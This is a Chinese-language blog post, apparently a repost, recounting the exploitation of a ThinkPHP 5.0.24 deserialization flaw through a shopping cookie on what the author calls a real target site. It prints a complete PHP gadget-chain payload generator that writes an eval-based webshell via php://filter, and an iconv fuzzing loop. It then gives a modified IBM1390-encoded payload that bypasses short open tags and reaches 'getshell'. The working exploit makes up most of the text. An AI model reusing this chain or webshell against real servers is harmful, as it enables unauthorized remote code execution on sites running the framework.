thinkphp5.0.x反序列化之遇到php开启短标签

前言

这是我实战中第一次遇到的反序列化漏洞并成功利用,该漏洞的触发点是在未登录的用户访问浏览过的商品时会将商品信息序列化后保存在cookie中,所以将cookie[xxxx_goods]的值替换成payload即会触发发序列化,该站使用的tinkphp5.0.24框架,就想着直接从网上找payload打,结果打了半天没成功就很郁闷。

分析为啥没成功

先贴上我找到的payload是这个

php
<?php
namespace thinkprocesspipes;
use thinkmodelPivot;
class Pipes{

}

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];//触发Model __toString(),子类Pivot合适
    }
}

namespace thinkmodel;#Relation
use thinkdbQuery;
abstract class Relation{

}

namespace thinkmodel
elation;#OneToOne HasOne
use thinkmodelRelation;
use thinkdbQuery;
abstract class OneToOne extends Relation{

}
class HasOne extends OneToOne{
    protected $selfRelation;
    protected $query;
    protected $bindAttr = [];
    function __construct(){
        $this->bindAttr = ["no","123"];
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think;#Model
use thinkmodel
elationHasOne;
use thinkconsoleOutput;
use thinkdbQuery;
abstract class Model{
    protected $append = [];
    protected $error;
    protected $parent;
    protected $selfRelation;
    protected $query;

    function __construct(){
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace thinkdb;#Query
use thinkconsoleOutput;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}

namespace thinkconsole;#Output
use thinksessiondriverMemcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}
namespace thinksessiondriver;#Memcached
use thinkcachedriverFile;
class Memcached{
    protected $handler = null;
    protected $config  = [];
    function __construct(){
        $this->handler = new File();//目的调用File->set()
        $this->config = [
            'host'         => '127.0.0.1', // memcache主机
            'port'         => 11211, // memcache端口
            'expire'       => 3600, // session有效期
            'timeout'      => 0, // 连接超时时间(单位:毫秒)
            'session_name' => '', // memcache key前缀
            'username'     => '', //账号
            'password'     => '', //密码
        ];
    }
}
namespace thinkcachedriver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./demo/<?cuc cucvasb();riny($_TRG[pzq]);?>',
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace thinkmodel;
use thinkModel;
class Pivot extends Model{

}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
第一个坑

该payload按道理是会在当前目录创建一个<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php,unserialize($payload)没有报一丁点的错误信息,我在本地复现确实可以,可是访问目标站点一直是404实在是百思不得其解。后来看某师傅文章发现model类中$this->parent的属性需要修改为public.猜测是:model子类Pivot中也有该变量parent,属性为public;而基类model的parent为protected,可能导致了没有赋值成功,修改poc后成功解决,经测试PHP5.6、7.0、7.1、7.2可用(应该都行了)

第二个坑

现在使用修改过的payload确实可以生成<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php文件,又遇到了一个新的问题,当我访问该文件时网站报如下错误:

PHP Parse error:  syntax error, unexpected 'rkvg' (T_STRING) in /var/www/html/public/<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php on line 3

经过查找发现这是因为该网站支持php短标签:short_open_tag = On,悲剧了让我们看看我们写进去的php文件的内容:

因为短标签的支持导致

cuc
//000000000000
 rkvg();

被当作php代码来执行,又因为cuc和rkvg中间有空格所以报了上方的错误。

动手修改payload

找到原因了,thinkphp如何生成的payload,我就不分析(好复杂)了,但是写入的文件内容的是由

'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',

这个path决定,之所以用到rot13过滤器是因为原本写入的文件内容包含exit(),使用rot13就能将exit()给bypass。可是现在还要bpass<?这个字符串。思路是找到其他的过滤器,能够把<?给转换成不解析的文本,同时又将某种编码的文本转换成php代码。
贴上kali的bash下fuzz语句:

for i in `iconv -l` ; do echo ${i%//};iconv -f utf-8 -t ${i%//} <<< "<?php phpinfo();eval($_POST[1]);?>"|xxd;done

发现IBM1390很合适

通过xxd可以发现会有一些不可见的字符,问题不大,使用urldecode来写入,最终payload长这样:

'path'          => 'php://filter/write=convert.iconv.IBM1390%2fUTF-8/resource='.urldecode('%4c%6f%78%69%78%40%78%69%78%71%76%67%77%4d%5d%5e%66%b5%62%74%4d%e0%6d%d7%d6%e2%e3%70%f1%80%5d%5e%6f%6e%25'),

利用修改后的payload,然后访问http://127.0.0.1/public/%4c%6f%78%69%78%40%78%69%78%71%76%67%77%4d%5d%5e%66%b5%62%74%4d%e0%6d%d7%d6%e2%e3%70%f1%80%5d%5e%6f%6e%253b58a9545013e88c7186db11bb158c44.php成功getshell.

参考链接:

http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/

原文地址:https://www.cnblogs.com/0daybug/p/13094437.html